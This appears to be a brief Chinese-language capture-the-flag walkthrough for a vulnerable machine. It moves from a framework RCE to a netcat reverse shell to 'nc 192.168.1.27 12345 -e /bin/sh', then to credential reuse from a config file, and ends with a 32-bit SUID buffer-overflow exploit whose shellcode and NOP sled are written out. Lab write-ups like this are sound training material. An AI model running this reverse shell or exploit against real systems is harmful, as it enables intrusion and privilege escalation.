1.存在框架漏洞(rce)
2.通过rce反弹shell
bash方法:
nc方法:
nc 192.168.1.27 12345 -e /bin/sh
3.通过配置文件中的用户密码切换用户
4.进入用户目录
cat note.txt
buffer overflow is the way. ( ° ʖ °)
if you're new on 32bit bof then check these:
https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm
提示缓冲区溢出
然后发现input且具有suid权限
input 看上去是关于输入的命令,输入的字符过长报错,怀疑缓冲区溢出便在此处。
5.判断溢出位置
先通过msf-pattern_create -l 3000
生成用于确定偏移的字符串。
再通过 msf-pattern_offset -q 0x41376641
获取偏移量(该位置之后4字节为eip)
info registers
:查看内存信息
x/40x $esp
: x/x 以十六进制输出,x/d 以十进制输出,x/c 以单字符输出
6.将eip覆盖为esp的地址(将下一条命令的地址覆盖为esp中的恶意命令地址)
构造exp:
for i in {1..10000};do (./input $(python -c'print "A"*171 + "\x70\xac\xbc\xbf" + "\x90" * 2000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"'));done
\x70\xac\xbc\xbf
为该次esp地址(目标上启用了 ASLR 每次分配地址随机),\x90
不做任何操作